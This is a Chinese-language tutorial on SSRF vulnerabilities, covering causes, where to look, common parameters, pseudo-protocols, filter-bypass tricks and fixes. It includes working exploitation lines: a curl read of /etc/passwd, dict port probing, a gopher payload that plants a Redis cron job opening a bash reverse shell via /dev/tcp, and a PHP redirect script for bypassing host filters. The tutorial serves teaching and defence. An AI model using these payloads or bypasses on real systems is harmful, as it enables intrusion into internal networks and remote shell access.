SSRF漏洞挖掘原理详解
SSRF 漏洞
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由 攻击者构造形成,由服务端发起请求 的一个安全漏洞。一般情况下,SSRF攻击的目标是从 外网无法访问的内部系统(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
我们知道网络有外网与内网之分的。所谓的外网就是公开的、大家都可以访问的网络部分,比如旅游景点的介绍、论坛的板块等。还有一部分网络出于保护隐私信息的目的是限制访问的,比如企业的内部网络、校园网等,这就是内网
。而有的内网不是完全孤立的,为了与外网建立联系,就通过内网中的一台服务器与外网相连接。而SSRF攻击要做的就是通过这台与外网连接的服务器向这台服务器本身或内网中的其它服务器发起请求。
在了解完SSRF漏洞后我们再来看看SSRF漏洞产生和攻击方法。
SSRF 漏洞成因
大都是由于 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
SSRF 漏洞发现以及挖掘
能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
挖掘功能点:
- 分享:通过URL地址分享网页内容
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:通过URL地址翻译对应文本的内容。例如有道词典、UC、QQ浏览器等
- 图片加载与下载:通过URL地址加载或下载图片
- 图片、文章收藏功能:从分享的URL中读取其原文的标题、内容等
- 未公开的Api实现以及其它调用URL的功能
- 网页采集/抓取的地方:对输入的url进行一些信息采集
SSRF 漏洞常见参数
?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}
SSRF 漏洞攻击和验证
- 用抓包工具看请求由客户端发起还是服务端发起(漏洞),如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址 —从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址。 —通过二级域名暴力猜解工具模糊猜测内网地址。
- 获取一些服务的Banner、title、content等信息;
- dnslog等工具进行测试,看是否被访问 —可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
- 利用file协议 读取本地文件等;
- 排除法:浏览器f12查看源代码看是否是在本地进行了请求 比如:资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞。
- bool型SSRF
SSRF 相关函数
函数体 | 作用 |
---|---|
file_get_contents() | 将文件读入一个字符串中展示给用户 |
fsockopen() | 获取用户指定url的数据(文件或者html) |
curl_exec() | 执行指定的 curl 会话 |
fopen() | 函数打开文件或者 URL |
readfile() | 函数读取一个文件,并写入到输出缓冲 |
SSRF 相关伪协议
协议 | 功能 |
---|---|
Dict协议 | 查看端口,版本信息;向服务器端口请求curl命令 |
Gopher协议 | 发送各种格式的请求包 |
File协议 | 在文件系统中读取文件 |
HTTP/HTTPS协议 | 内网的ip扫描、端口探测 |
SSRF 利用方式
本地利用
以curl举例:
Curl是一种命令行实用程序,用于从服务器传输数据或向服务器传输数据,该服务器设计为无需用户交互即可工作。
查看 curl 支持的协议列表 curl -V
[root@boysec.cn ~]$ curl -V
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.53.1 zlib/1.2.7 libidn/1.28 libssh2/1.8.0
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp scp sftp smtp smtps telnet tftp
Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-sockets
使用file(任意文件读取)
[root@boysec.cn ~]$ curl -v 'file:///etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
使用dict探测端口
[root@boysec.cn ~]$ curl 'dict://127.0.0.1:22'
SSH-2.0-OpenSSH_9.9
Protocol mismatch.
[root@boysec.cn ~]$ curl 'dict://127.0.0.1:6379/info'
利用gopher反弹shell
[root@boysec.cn ~]$ curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1
* * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
远程利用
使用Pikachu漏洞练习平台
从 URL 中获取 url 参数,然后访问 url 参数所指向的 URL 资源,最后把结果输出到页面上。
使用file(任意文件读取)
使用dict探测端口
端口开放时:
端口未开放时:
SSRF 绕过技巧
添加端口号
限制了子网段,可以加 :80 端口绕过:
@绕过
URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
所以你访问
和
效果是一样滴,因为解析的本来就是@后面的服务器地址
短网址
URL中包含了内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过
IP地址进行进制转化
黑名单上的IP地址为127.0.0.1,那么我们可以尝试将此IP地址转换为八进制、十进制、十六进制等进行URL引用,以实现127.0.0.1黑名单限制。也可将127.0.0.1省略为127.1
127.0.0.1 八进制格式: 0177.0.0.1 十六进制格式:0x7f.0.0.1 十进制整数格式: 2130706433 十六进制整数格式:0x7F000001
使用解析到内网的域名
如果服务端没有先解析IP再过滤内网地址,那么可以利用特殊站点 (nip.io、sslip.io) 的子域名解析到对应的IP
例如:访问http://127.0.0.1.nip.io/1.html 实际访问的是http://127.0.0.1/1.html
或以www.localtest.me为例进行测试:
依旧可以被解析为本机回环地址。但此方法仅适用于对服务器本身发起请求伪造,若要应用于内网其它IP地址则成本过大。
利用DNS解析
目标对域名或者IP进行了限制,那么可以使用dns服务器将自己的域名解析到内网ip。
特殊符号替换绕过
例如: 127。0。0。1 >>> 127.0.0.1 localhost或者0.0.0.0
利用跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
SSRF的危害
- 扫内部网络/攻击内网
- 向内部任意主机的任意端口发送精心构造的Payload DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
- 对内网web应用进行指纹识别,通过访问默认文件实现 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sql注入等)
- 攻击目标主机(dict://探测端口 file://读取文件等)
- 破坏内部服务
SSRF 漏洞修复
- 禁止30x跳转。
- 过滤返回信息,验证远程服务器对请求的响应。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
- 限制请求的端口为http常用的端口,比如 80、443、8080、8090。
- 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP),以防止对内网进行攻击。
- 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///, gopher://, ftp:// 等引起的问题。
- 对DNS Rebinding,考虑使用DNS缓存或者Host白名单。
相关文章
- toxssin-XSS 漏洞利用命令行界面和有效负载生成器
- 干货 | 一文讲清XXE漏洞原理及利用
- java struts2 漏洞_struts2漏洞原理及解决办法
- 扫描主机漏洞的工具_漏洞扫描工具有哪些
- weblogic 权限绕过命令执行漏洞复现
- 干货 |RCE漏洞原理及利用演示(远程代码执行)
- 干货|超详细的常见漏洞原理笔记总结
- 对于Discuz!3.2的基础认证钓鱼漏洞分析与修复
- 【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍
- 【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍
- 干货 | MSSQL注入和漏洞利用姿势总结
- Google Chrome CVE-2022-3656 漏洞
- 《2022年度区块链安全及反洗钱分析》发布,漏洞利用是最常见攻击方法
- CIS 2022深圳分会场议题前瞻 | 高级威胁与漏洞管理论坛
- Nightingale:一款针对漏洞评估和渗透测试(VAPT)的Docker渗透测试环境
- 阿里云因发现Log4j2核弹级漏洞但未及时上报,被工信部处罚...
- 微软向安全专家支付1360万美元的奖金 中美安全专家提交的漏洞最多
- 死磕Meltdown和Spectre漏洞,应对方案汇总
- 【漏洞预警】潜伏11年的Linux内核提权漏洞曝光
- 内核漏洞原理与本地提权利用代码实现分析
- 火狐、Chrome皆中招:针对主流浏览器的网址欺诈漏洞
- 如何预防MySQL注入漏洞?(mysql注入漏洞)
- Linux系统漏洞扫描:解决网络安全隐患(linux扫描漏洞)
- 三步堵死SQLServer注入漏洞